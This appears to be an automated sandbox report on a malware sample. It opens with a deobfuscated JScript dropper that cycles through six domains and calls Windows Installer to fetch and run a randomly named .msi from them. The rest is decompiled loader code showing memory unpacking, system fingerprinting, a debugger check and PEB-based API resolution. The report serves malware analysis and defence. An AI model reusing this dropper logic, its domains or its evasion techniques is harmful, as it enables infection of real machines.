garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct.join("%") ➔ "garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct" "garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct".split("#0") ➔ garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct.join("#") ➔ "garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct" "garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct".split("\x7f") ➔ garokelka.com,lakirasa.com,tofinka.com,koriska.com,retrenia.com,gurakis.com,length,windowsinstaller.installer,substring,toString,random,https://,/,.msi,InstallProduct
28	} ) ( ".asowkadeetoi%krtirSlanceo/tntciiaacrnl.l%seds%cocrrgiPk%im.tmnmolaimulmbrfone.aw%%tlnss:sko%sctaagtr%mosol.r%u/asargtgnioatu.ahiorndse%skoplIihr/%.m%t%k.nomlinrgck%t", 4527110 );
29	var sites = [ _$_cdc5[0], _$_cdc5[1], _$_cdc5[2], _$_cdc5[3], _$_cdc5[4], _$_cdc5[5] ];
30	for ( var i = 0 ; i < sites[_$_cdc5[6]] ; i ++ )
31	{
32	try
33	{
34	var obj = new ActiveXObject ( _$_cdc5[7] );
35	var path = ( Math[_$_cdc5[10]] ( ) + 1 )[_$_cdc5[9]] ( 36 ) [_$_cdc5[8]] ( 7 );	[object Math].random() ➔ 0.38760505984176774 "1.dyc3nrlvoq0".substring(7) ➔ "rlvoq0"
36	obj[_$_cdc5[14]] ( _$_cdc5[11] + sites[i] + _$_cdc5[12] + path + _$_cdc5[13] );	InstallProduct("https://garokelka.com/rlvoq0.msi") ➔ undefined
37	break ;
38	}
39	catch ( err )
40	{
41	}
42	}

Reset < >

Analysis Process: rundll32.exePID: 7252, Parent PID: 7228COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.4%
Total number of Nodes:	14
Total number of Limit Nodes:	0

Executed Functions

Function 10037700 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00002FC4,?,00002FC4,-00000002,?,-00000002,?,-00000002), ref: 10037543
VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Strings

QP, xrefs: 1003748B, 10037526

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFreeProtect
String ID: QP
API String ID: 267585107-2087711775
Opcode ID: bee903b6202f475c7327c9751a1b53ea86ff8d50fd0c52befb1eb6e3127cd176
Instruction ID: b307a0a1a03c2ba3f90aba87297ed5e3e1385ca2c22c187a6025a946ed5bbe6c
Opcode Fuzzy Hash: bee903b6202f475c7327c9751a1b53ea86ff8d50fd0c52befb1eb6e3127cd176
Instruction Fuzzy Hash: 70613AB590C509EFDB37CF94D894A8DBBB5FB08302F604455ED1CAE211E371AA00BB61

Uniqueness

Uniqueness Score: -1.00%

Function 100376C0 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 156
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00002FC4,?,00002FC4,-00000002,?,-00000002,?,-00000002), ref: 10037543

Strings

SX, xrefs: 10037692, 100376A9
QP, xrefs: 1003748B, 10037526

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID: QP$SX
API String ID: 4275171209-1499246268
Opcode ID: cdbd217d9cbc74c6b09d29522eda6be5e873a6de1facd87538939eddb4a89839
Instruction ID: 902379c4e361f78d3e7bfe1b4b0239ba0492287dd25983823d51fc3635d371c8
Opcode Fuzzy Hash: cdbd217d9cbc74c6b09d29522eda6be5e873a6de1facd87538939eddb4a89839
Instruction Fuzzy Hash: C54154B590CA0AEFCB7BCA94DCD1A8D76B8FB08243F700416ED0DAE211E7619940A761

Uniqueness

Uniqueness Score: -1.00%

Function 10037490 Relevance: 3.1, APIs: 2, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: 29d613ef6be05513be4a38f9e6aed18a8a2ff7f183fe9989753dcd8e5f3e6466
Instruction ID: e78a0a560c2fa67e0af6d0408eb9dedf1b7fda65736332d27f77b0a0a4dd8e87
Opcode Fuzzy Hash: 29d613ef6be05513be4a38f9e6aed18a8a2ff7f183fe9989753dcd8e5f3e6466
Instruction Fuzzy Hash: 4741F27590C109EFDB77CE90D884A9DBBB5FB08316F204461ED1CAE261E335AE10BB61

Uniqueness

Uniqueness Score: -1.00%

Function 10037480 Relevance: 3.1, APIs: 2, Instructions: 120
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E10037480(void* __eax, intOrPtr* __ebx, void* __edx) {

				 *__ebx =  *__ebx + __edx;
				 *((intOrPtr*)(__ebp - 0x10))( *((intOrPtr*)(__ebp + 8)),  *((intOrPtr*)(__ebp + 0xc)),  *((intOrPtr*)(__ebp + 0x10)));
				__ebx = 0x10;
				__esp = __esp + 0x10;
				return 0;
			}

0x10037482
0x10037725
0x1003770e
0x10037713
0x00000000

APIs

VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: f7a7a14248de5fe57912c15af05c5aaa4f954eaa46e363f1ae56ecda49c00c82
Instruction ID: 7f0ac04388cba486404e007d5ec0f9a57893f73df33d6181803a233d03357e0a
Opcode Fuzzy Hash: f7a7a14248de5fe57912c15af05c5aaa4f954eaa46e363f1ae56ecda49c00c82
Instruction Fuzzy Hash: EE41247590C149EFDB37CF90C884A9CBBB5FB08312F2044A5ED186E262E331AE10BB51

Uniqueness

Uniqueness Score: -1.00%

Function 100374A0 Relevance: 3.1, APIs: 2, Instructions: 110
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: 45fdfc290b9f267284b5728b44bdc199b07ad896d0ace584290cdbc8af15baae
Instruction ID: 8f65bf26e0c36bd82f9f1352aba3125eff4208733563135c8fb7465a78350a0e
Opcode Fuzzy Hash: 45fdfc290b9f267284b5728b44bdc199b07ad896d0ace584290cdbc8af15baae
Instruction Fuzzy Hash: 2941037590C109EFDB77CE90D884A9DBBB5FB08312F2044A5ED1CAE261E331AE10BB51

Uniqueness

Uniqueness Score: -1.00%

Function 100374B0 Relevance: 3.1, APIs: 2, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: ada827ae7353c127aa41337ad20357a7f9d3d399d0f7ec2ad0b4e4ab4c69f45f
Instruction ID: e4ea3a34ff66478d5c42fe18b3471f0fdf41793b4e08384e0b51970f06f5ebe7
Opcode Fuzzy Hash: ada827ae7353c127aa41337ad20357a7f9d3d399d0f7ec2ad0b4e4ab4c69f45f
Instruction Fuzzy Hash: 1A31027590C109EFDB77CF90D984A9DBBB5FB08316F2144A1ED18AE221E3319E10BB50

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 100559A0 Relevance: 29.9, APIs: 3, Strings: 14, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E100559A0(struct _OSVERSIONINFOA* _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v155;
				struct _OSVERSIONINFOA _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				struct _SYSTEM_INFO _v220;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t31;
				signed int _t32;
				void* _t38;
				union %anon243 _t41;
				char* _t42;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				void* _t55;
				char* _t56;
				void* _t57;
				void* _t69;
				struct _OSVERSIONINFOA* _t70;
				char* _t71;
				void* _t72;
				void* _t73;
				void* _t76;
				void* _t78;
				signed int _t79;

				_t31 =  *0x10094144; // 0xa412de5e
				_t32 = _t31 ^ _t79;
				_v20 = _t32;
				 *[fs:0x0] =  &_v16;
				_t70 = _a4;
				_v8 = 0;
				_v180 = _t70;
				_v184 = 0;
				 *0x1006a190(_t32, _t69, _t73, _t55,  *[fs:0x0], 0x10068823, 0xffffffff);
				_push(0x9c);
				_push(0);
				_push( &_v176);
				_v8 = 0;
				_v184 = 1;
				_t56 = 0x1006acf8;
				L1005C162();
				_t59 =  &_v176;
				_v176.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v176) == 0) {
					_v176.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v176) == 0) {
						_t59 = _t70;
						 *0x1006a2d0("Windows");
					}
				}
				_t38 = _v176.dwPlatformId - 1;
				if(_t38 == 0) {
					if(_v176.dwMajorVersion == 4) {
						_t47 = _v176.dwMinorVersion;
						if(_t47 != 0) {
							if(_t47 != 0xa) {
								if(_t47 == 0x5a) {
									_t56 = " Me";
								}
							} else {
								if(_v155 != 0x41) {
									_t56 = " 98";
								} else {
									_t56 = " 98 SE";
								}
							}
						} else {
							_t48 = _v155;
							if(_t48 == 0x43 || _t48 == 0x42) {
								_t56 = " 95 OSR2";
							} else {
								_t56 = " 95";
							}
						}
					}
				} else {
					if(_t38 == 1) {
						_t50 = _v176.dwMajorVersion;
						if(_t50 > 4) {
							if(_t50 != 5) {
								if(_t50 == 6) {
									_t51 = _v176.dwMinorVersion;
									if(_t51 != 0) {
										if(_t51 >= 1) {
											_t56 = " 7";
										}
									} else {
										_t56 = " Vista";
									}
								}
							} else {
								_t52 = _v176.dwMinorVersion;
								if(_t52 != 0) {
									if(_t52 <= 2) {
										_t56 = " XP";
									}
								} else {
									_t56 = " 2000";
								}
							}
						} else {
							_t56 = " NT";
						}
					}
				}
				_t71 = 0x1006acf8;
				_t76 = E10055970(_t59);
				GetSystemInfo( &_v220);
				_t41 = _v220.dwOemId;
				if(6 == _t41 || 9 == _t41 || _t76 != 0) {
					_t71 = "/64";
					_t42 = "(32-bit emulation)";
					if(_t76 != 0) {
						goto L34;
					}
					goto L33;
				} else {
					L33:
					_t42 = 0x1006acf8;
					L34:
					 *0x1006a234(_v180, "Windows%s%s %ld.%ld %s %s", _t71, _v176.dwMajorVersion, _v176.dwMinorVersion,  &(_v176.szCSDVersion), _t42);
					 *[fs:0x0] = _v16;
					_pop(_t72);
					_pop(_t78);
					_t57 = _t56;
					return E1005C09A(_v180, _t57, _v20 ^ _t79, _v176.dwMajorVersion, _t72, _t78);
				}
			}

0x100559b7
0x100559bc
0x100559be
0x100559c8
0x100559ce
0x100559d5
0x100559d8
0x100559de
0x100559e4
0x100559ea
0x100559f5
0x100559f6
0x100559f7
0x100559fa
0x10055a04
0x10055a09
0x10055a17
0x10055a1e
0x10055a2c
0x10055a35
0x10055a43
0x10055a4a
0x10055a4c
0x10055a4c
0x10055a43
0x10055a58
0x10055a59
0x10055ac5
0x10055ac7
0x10055acf
0x10055af0
0x10055b0c
0x10055b0e
0x10055b0e
0x10055af2
0x10055af9
0x10055b02
0x10055afb
0x10055afb
0x10055afb
0x10055af9
0x10055ad1
0x10055ad1
0x10055ad9
0x10055ae6
0x10055adf
0x10055adf
0x10055adf
0x10055ad9
0x10055acf
0x10055a5b
0x10055a5c
0x10055a62
0x10055a6b
0x10055a7a
0x10055a9f
0x10055aa1
0x10055aa9
0x10055ab5
0x10055ab7
0x10055ab7
0x10055aab
0x10055aab
0x10055aab
0x10055aa9
0x10055a7c
0x10055a7c
0x10055a84
0x10055a93
0x10055a95
0x10055a95
0x10055a86
0x10055a86
0x10055a86
0x10055a84
0x10055a6d
0x10055a6d
0x10055a6d
0x10055a6b
0x10055a5c
0x10055b13
0x10055b1d
0x10055b26
0x10055b2c
0x10055b3b
0x10055b4b
0x10055b50
0x10055b57
0x00000000
0x00000000
0x00000000
0x10055b59
0x10055b59
0x10055b59
0x10055b5e
0x10055b82
0x10055b90
0x10055b98
0x10055b99
0x10055b9a
0x10055ba8
0x10055ba8

APIs

GetVersionExA.KERNEL32(?), ref: 10055A28
GetVersionExA.KERNEL32(0000009C), ref: 10055A3F
GetSystemInfo.KERNEL32(?), ref: 10055B26

Strings

98, xrefs: 10055B02
95 OSR2, xrefs: 10055AE6
Windows, xrefs: 10055A45
/64, xrefs: 10055B4B, 10055B7A
98 SE, xrefs: 10055AFB
(32-bit emulation), xrefs: 10055B50, 10055B70
A, xrefs: 10055AF2
95, xrefs: 10055ADF
NT, xrefs: 10055A6D
XP, xrefs: 10055A95
Me, xrefs: 10055B0E
Vista, xrefs: 10055AAB
Windows%s%s %ld.%ld %s %s, xrefs: 10055B7C
2000, xrefs: 10055A86

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Version$InfoSystem
String ID: 2000$ 95$ 95 OSR2$ 98$ 98 SE$ Me$ NT$ Vista$ XP$(32-bit emulation)$/64$A$Windows$Windows%s%s %ld.%ld %s %s
API String ID: 731687086-1715203867
Opcode ID: df54146a816680678f15cacc8949395151596a9b587ca1948df0c7c171282b19
Instruction ID: 867e73376b154700b72ddc620de5b0e76c00f744f45d12f523b40f832bc159b7
Opcode Fuzzy Hash: df54146a816680678f15cacc8949395151596a9b587ca1948df0c7c171282b19
Instruction Fuzzy Hash: 0851F830F042A9DBEB30CB048CA4B9E77F5FB45291F414296DA49D7201E77A5E88CF96

Uniqueness

Uniqueness Score: -1.00%

Function 100060D0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 310COMMON

Download Yara Rule

APIs

lgetVersion@Engine@ScScript@@SAHXZ.MAIN ref: 10006162
lgetStackTrace@DebugAPI@ScScript@@QBE?AVString@ScCore@@HH@Z.MAIN ref: 100062D7
lgetName@Engine@ScScript@@QBEABVString@ScCore@@XZ.MAIN ref: 100063FC

Strings

(debug), xrefs: 1000616B
Error, xrefs: 10006332
Dictionary, xrefs: 100063CA
78.509322, xrefs: 1000618E
4.6.1, xrefs: 10006154

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$Core@@Engine@String@$DebugName@StackTrace@Version@
String ID: (debug)$4.6.1$78.509322$Dictionary$Error
API String ID: 3584778489-3562168370
Opcode ID: dea6a368080b62c6f3c14d317e985680c7cc23c38989cfee1cff6aec94cfee03
Instruction ID: e97fd6d3262873dd808d14a488298870370faa8022b6a2dc3063ec15bd688d9a
Opcode Fuzzy Hash: dea6a368080b62c6f3c14d317e985680c7cc23c38989cfee1cff6aec94cfee03
Instruction Fuzzy Hash: F4C19DB1904219DFE714EFA5CC98DAEB7B6FF59304F104508E456936A1CB74AA88CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1005C09A Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E1005C09A(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t32;

				_t25 = __esi;
				_t24 = __edi;
				_t23 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t32 = _t20 -  *0x10094144; // 0xa412de5e
				if(_t32 == 0) {
					asm("repe ret");
				}
				 *0x10094308 = _t6;
				 *0x10094304 = _t20;
				 *0x10094300 = _t23;
				 *0x100942fc = _t19;
				 *0x100942f8 = _t25;
				 *0x100942f4 = _t24;
				 *0x10094320 = ss;
				 *0x10094314 = cs;
				 *0x100942f0 = ds;
				 *0x100942ec = es;
				 *0x100942e8 = fs;
				 *0x100942e4 = gs;
				asm("pushfd");
				_pop( *0x10094318);
				 *0x1009430c =  *_t29;
				 *0x10094310 = _v0;
				 *0x1009431c =  &_a4;
				 *0x10094258 = 0x10001;
				_t11 =  *0x10094310; // 0x0
				 *0x1009420c = _t11;
				 *0x10094200 = 0xc0000409;
				 *0x10094204 = 1;
				_t12 =  *0x10094144; // 0xa412de5e
				_v812 = _t12;
				_t13 =  *0x10094148; // 0x44bf19b1
				_v808 = _t13;
				 *0x10094250 = IsDebuggerPresent();
				_push(1);
				L1005CA60();
				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(0x10073c40);
				if( *0x10094250 == 0) {
					_push(1);
					L1005CA60();
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x1005c09a
0x1005c09a
0x1005c09a
0x1005c09a
0x1005c09a
0x1005c09a
0x1005c09a
0x1005c0a0
0x1005c0a2
0x1005c0a2
0x1005c6b9
0x1005c6be
0x1005c6c4
0x1005c6ca
0x1005c6d0
0x1005c6d6
0x1005c6dc
0x1005c6e3
0x1005c6ea
0x1005c6f1
0x1005c6f8
0x1005c6ff
0x1005c706
0x1005c707
0x1005c710
0x1005c718
0x1005c720
0x1005c72b
0x1005c735
0x1005c73a
0x1005c73f
0x1005c749
0x1005c753
0x1005c758
0x1005c75e
0x1005c763
0x1005c76f
0x1005c774
0x1005c776
0x1005c77e
0x1005c789
0x1005c796
0x1005c798
0x1005c79a
0x1005c79f
0x1005c7b3

APIs

IsDebuggerPresent.KERNEL32 ref: 1005C769
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1005C77E
UnhandledExceptionFilter.KERNEL32(10073C40), ref: 1005C789
GetCurrentProcess.KERNEL32(C0000409), ref: 1005C7A5
TerminateProcess.KERNEL32(00000000), ref: 1005C7AC

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 2640791ab30624e5d8e42b65e496f97109ef08bfb8deefc23472a383ca7617de
Instruction ID: 6fb7999cc3a35b111e21660ad327a1df8f5107a3c5ab73c1a494edcf8494c89a
Opcode Fuzzy Hash: 2640791ab30624e5d8e42b65e496f97109ef08bfb8deefc23472a383ca7617de
Instruction Fuzzy Hash: 0621ADB88052289FF318DF65EDC5E443BB4FB08704B92825BF51C87261EBB45A898F59

Uniqueness

Uniqueness Score: -1.00%

Function 100379BC Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E100379BC(intOrPtr _a4) {
				short _v8;
				intOrPtr _v12;
				signed char* _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr* _t68;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				signed int _t73;
				signed int _t74;
				intOrPtr _t75;
				intOrPtr _t76;
				signed int _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				signed int _t82;
				void* _t83;
				intOrPtr _t85;
				signed char* _t86;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char* _t89;
				signed int _t93;
				intOrPtr _t95;
				void* _t96;
				short _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				void* _t100;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				signed char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				signed int _t117;
				signed int _t122;
				signed int _t124;
				signed char* _t125;
				intOrPtr _t128;

				_t65 =  *[fs:0x30];
				_v36 = _t65;
				_t66 = _v36;
				_t41 = _t66 + 0xc; // 0x6338bbb
				_t68 =  *((intOrPtr*)( *_t41 + 0xc));
				_t70 =  *((intOrPtr*)( *_t68));
				_v12 = _t70;
				_t71 = _v12;
				_t72 =  *((intOrPtr*)(_t71 + 0x18));
				_t113 = _v12;
				_t115 =  *((intOrPtr*)(_t113 + 0x18)) +  *((intOrPtr*)(_t72 + 0x3c));
				_v40 = _t115;
				_push(8);
				_pop(_t73);
				_t74 = _t73 * 0;
				_t75 =  *((intOrPtr*)(_v40 + _t74 + 0x78));
				_v44 = _t75;
				_t76 = _v12;
				_t78 =  *((intOrPtr*)(_t76 + 0x18)) + _v44;
				_v28 = _t78;
				_t79 = _v12;
				_t80 =  *((intOrPtr*)(_t79 + 0x18));
				_t117 = _v28;
				_v32 = _t80 +  *((intOrPtr*)(_t117 + 0x20));
				_v24 = _v24 & 0x00000000;
				while(1) {
					L13:
					_t82 = _v28;
					if(_v24 >=  *((intOrPtr*)(_t82 + 0x18))) {
						_t83 = 0;
						L37:
						return _t83;
					}
					_t85 =  *_v32;
					_t86 = _t85 +  *((intOrPtr*)(_v12 + 0x18));
					_v16 = _t86;
					_t87 = _v32;
					_t88 = _t87 + 4;
					_v32 = _t88;
					_v20 = _v20 & 0x00000000;
					while(1) {
						_t89 = _v16;
						L42:
						if( *_t89 == 0) {
							if(_v20 != _a4) {
								_t93 = _v24 + 1;
								_v24 = _t93;
								goto L13;
							}
							_t95 =  *((intOrPtr*)(_v12 + 0x18));
							_t96 = _t95 +  *((intOrPtr*)(_v28 + 0x24));
